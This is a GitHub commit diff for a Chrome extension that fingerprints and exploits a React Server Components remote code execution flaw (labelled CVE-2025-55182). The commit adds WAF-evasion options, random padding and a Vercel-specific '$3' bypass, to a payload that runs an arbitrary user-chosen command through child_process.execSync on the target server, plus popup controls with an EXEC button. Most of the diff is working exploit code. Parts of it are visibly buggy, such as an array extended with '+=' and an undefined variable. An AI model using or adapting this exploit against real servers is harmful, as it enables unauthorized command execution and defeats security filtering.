Skip to content

Commit 2c9d009

Browse files
committed
Add WAF bypass from assetnote
* Add padding-based WAF * Add $3 Vercel WAF bypass * Add inputs for bypass options * Make form boundary dynamic
1 parent c43a14f commit 2c9d009

File tree

5 files changed

+66
-17
lines changed

5 files changed

+66
-17
lines changed

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,8 @@ This extension is designed for **educational and security research purposes only
1616

1717
### 🎯 Active Fingerprinting
1818
- Sends controlled RSC probe requests
19+
- Adds prefix padding to bypass some WAFs
20+
- Uses `$3` bypass for Vercel WAF
1921
- Analyzes server responses for RSC characteristics
2022
- Identifies Content-Type headers indicating RSC usage
2123
- Detects Vary headers containing 'RSC'

README_cn.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,8 @@
1616

1717
### 🎯 主动指纹识别
1818
- 发送受控的 RSC 探测请求
19+
- 支持通过前缀 padding 绕过一些 WAF
20+
- 支持通过 $3 绕过 Vercel WAF
1921
- 分析服务器响应的 RSC 特征
2022
- 识别指示 RSC 使用的 Content-Type 头
2123
- 检测包含 'RSC' 的 Vary 头

content.js

Lines changed: 40 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,18 @@
11
// content.js
22

3+
// 12字符[a-z0-9]
4+
function shortRandString() {
5+
return Math.random().toString(36).substring(2).padEnd(12, '0');
6+
}
7+
8+
// 随机的base64长字符串,长度为 bytes 字符
9+
function longRandString(bytes) {
10+
const length = bytes;
11+
const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3
12+
crypto.getRandomValues(buf);
13+
return btoa(String.fromCharCode(...buf)).substring(0, length);
14+
}
15+
316
// === 1. 被动检测 ===
417
function performPassiveScan() {
518
let score = 0;
@@ -45,16 +58,25 @@ async function performFingerprint() {
4558
}
4659

4760
// === 3. RCE 漏洞利用 ===
48-
async function performExploit(cmd) {
49-
// 默认命令
50-
const targetCmd = cmd || "echo vulnerability_test";
51-
61+
async function performExploit({cmd = "echo vulnerability_test", pad = 0, bypassVercel = false} = {}) {
5262
// 构造 Payload,动态插入命令
5363
// 注意:这里需要处理 JS 转义,简单起见直接替换
5464
// Payload 逻辑: execSync('YOUR_CMD').toString().trim()
55-
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${targetCmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
56-
const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
57-
const bodyParts = [
65+
// pad, vercel WAF bypass 逻辑来自 https://github.com/assetnote/react2shell-scanner
66+
const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
67+
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":${formData}}}`;
68+
const boundary = `----WebKitFormBoundaryO2WP${shortRandString()}`;
69+
let form = [];
70+
if (pad > 0) {
71+
form += [
72+
`--${boundary}`,
73+
`Content-Disposition: form-data; name="${shortRandString()}"`,
74+
'',
75+
longRandString(pad * 1024),
76+
`--${boundary}`,
77+
];
78+
}
79+
form += [
5880
`--${boundary}`,
5981
'Content-Disposition: form-data; name="0"',
6082
'',
@@ -69,7 +91,16 @@ async function performExploit(cmd) {
6991
'[]',
7092
`--${boundary}--`,
7193
''
72-
].join('\r\n');
94+
]
95+
if (bypassVercel) {
96+
bodyparts += [
97+
'Content-Disposition: form-data; name="3"',
98+
'',
99+
'{{"\\"\u0024\u0024":{{}}}}',
100+
`--${boundary}`,
101+
]
102+
}
103+
const bodyParts = form.join('\r\n');
73104

74105
const targetUrl = "/adfa"; // 使用相对路径
75106

@@ -143,7 +174,7 @@ chrome.runtime.onMessage.addListener((req, sender, sendResponse) => {
143174
return true;
144175
}
145176
if (req.action === "run_exploit") {
146-
performExploit(req.cmd).then(res => sendResponse(res));
177+
performExploit(req).then(res => sendResponse(res));
147178
return true;
148179
}
149180
});

popup.html

Lines changed: 18 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -25,14 +25,14 @@
2525

2626
/* 输入框与按钮 */
2727
.input-group { display: flex; margin-bottom: 8px; }
28-
input[type="text"] { flex: 1; padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
29-
input[type="text"]:focus { border-color: #3498db; }
28+
td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
29+
td > input:focus { border-color: #3498db; }
3030

3131
button { border: none; cursor: pointer; color: #fff; font-weight: 600; transition: 0.2s; padding: 8px; font-size: 11px; }
3232
.btn-scan { background: #3498db; width: 100%; border-radius: 4px; }
3333
.btn-scan:hover { background: #2980b9; }
3434

35-
.btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px; }
35+
.btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px 0 15px; }
3636
.btn-exploit:hover { background: #c0392b; }
3737
.btn-exploit:disabled { background: #95a5a6; cursor: not-allowed; }
3838

@@ -70,8 +70,21 @@
7070
<div class="card-title" style="background: #fff0eb; color: #c0392b;">3. RCE Exploit (CVE-2025-55182)</div>
7171
<div class="card-body">
7272
<div class="input-group">
73-
<input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
74-
<button id="btnExploit" class="btn-exploit">EXEC</button>
73+
<table style="flex: 4">
74+
<tr>
75+
<th><label for="cmdInput" title="Command">CMD</label>
76+
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
77+
</tr>
78+
<tr>
79+
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label>
80+
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb
81+
</tr>
82+
<tr>
83+
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label>
84+
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false">
85+
</tr>
86+
</table>
87+
<button id="btnExploit" class="btn-exploit" style="flex: 1">EXEC</button>
7588
</div>
7689
<div id="exploit-status" style="font-size: 10px; color: #7f8c8d; display:none;">Sending payload...</div>
7790
<div id="exploit-result" class="result-box">

popup.js

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -69,13 +69,14 @@ document.addEventListener('DOMContentLoaded', () => {
6969

7070
// --- 交互:RCE 利用 ---
7171
el.btnExploit.addEventListener('click', () => {
72-
const cmd = el.cmdInput.value || "whoami";
73-
el.btnExploit.disabled = true;
72+
const cmd = el.cmdInput.value;
73+
const pad = +(el.padInput.value) || 0;
74+
const bypassVercel = el.vercelInput.checked;
7475
el.exploitStatus.style.display = 'block';
7576
el.exploitResult.style.display = 'none';
7677
el.rceOutput.className = 'console-out'; // 重置样式
7778

78-
chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd: cmd}, (res) => {
79+
chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd, pad, bypassVercel}, (res) => {
7980
el.btnExploit.disabled = false;
8081
el.exploitStatus.style.display = 'none';
8182
el.exploitResult.style.display = 'block';

0 commit comments

Comments
 (0)